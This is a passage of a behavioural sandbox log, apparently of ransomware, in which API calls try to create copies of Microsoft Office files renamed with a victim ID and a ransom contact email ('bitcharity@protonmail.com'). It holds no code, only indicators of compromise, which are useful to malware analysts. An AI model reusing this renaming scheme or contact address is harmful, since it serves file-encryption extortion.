dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.148] CloseHandle (hObject=0x1158) returned 1 [0264.152] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.152] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.152] CloseHandle (hObject=0x1280) returned 1 [0264.153] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.153] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.153] CloseHandle (hObject=0x1280) returned 1 [0264.153] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.154] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.154] CloseHandle (hObject=0x1280) returned 1 [0264.156] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.156] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.156] CloseHandle (hObject=0x1280) returned 1 [0264.157] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.157] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.157] CloseHandle (hObject=0x1280) returned 1 [0264.158] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.158] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.158] CloseHandle (hObject=0x1280) returned 1 [0264.159] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.159] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.159] CloseHandle (hObject=0x1280) returned 1 [0264.160] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.336] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.442] CloseHandle (hObject=0x1280) returned 1 [0264.444] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.444] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR31F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir31f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.444] CloseHandle (hObject=0x1280) returned 1 [0264.446] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.446] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir32b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.446] CloseHandle (hObject=0x1280) returned 1 [0264.447] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.447] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir32f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.447] CloseHandle (hObject=0x1280) returned 1 [0264.448] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.448] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR33B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir33b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.449] CloseHandle (hObject=0x1280) returned 1 [0264.450] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.450] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR33F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir33f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.450] CloseHandle (hObject=0x1280) returned 1 [0264.451] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.451] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR34B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir34b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.451] CloseHandle (hObject=0x1280) returned 1 [0264.452] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.452] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR34F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir34f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.452] CloseHandle (hObject=0x1280) returned 1 [0264.453] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.453] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR35B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir35b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.453] CloseHandle (hObject=0x1280) returned 1 [0264.454] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.454] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR35F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir35f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.454] CloseHandle (hObject=0x1280) returned 1 [0264.455] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.455] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR36B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir36b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.455] CloseHandle (hObject=0x1280) returned 1 [0264.458] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.458] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR36F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir36f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.458] CloseHandle (hObject=0x1154) returned 1 [0264.459] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.459] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR37F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir37f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.459] CloseHandle (hObject=0x1154) returned 1 [0264.460] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.460] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR38F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir38f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.461] CloseHandle (hObject=0x1154) returned 1 [0264.461] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.461] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR39F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir39f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.462] CloseHandle (hObject=0x1154) returned 1 [0264.463] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.463] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR3B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir3b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.463] CloseHandle (hObject=0x1154) returned 1 [0264.464] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.464] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR3F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir3f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.465] CloseHandle (hObject=0x1154) returned 1 [0264.465] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.466] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR40F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir40f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.466] CloseHandle (hObject=0x1154) returned 1 [0264.467] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.467] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR41F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir41f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.467] CloseHandle (hObject=0x1154) returned 1 [0264.468] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.468] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR42F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir42f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.468] CloseHandle (hObject=0x1154) returned 1 [0264.469] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.469] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR43B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir43b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.469] CloseHandle (hObject=0x1154) returned 1 [0264.470] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.470] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR43F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir43f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.470] CloseHandle (hObject=0x1154) returned 1 [0264.472] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.472] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR44B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir44b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.472] CloseHandle (hObject=0x1154) returned 1 [0264.473] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.473] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR44F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir44f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.473] CloseHandle (hObject=0x1154) returned 1 [0264.474] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.474] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 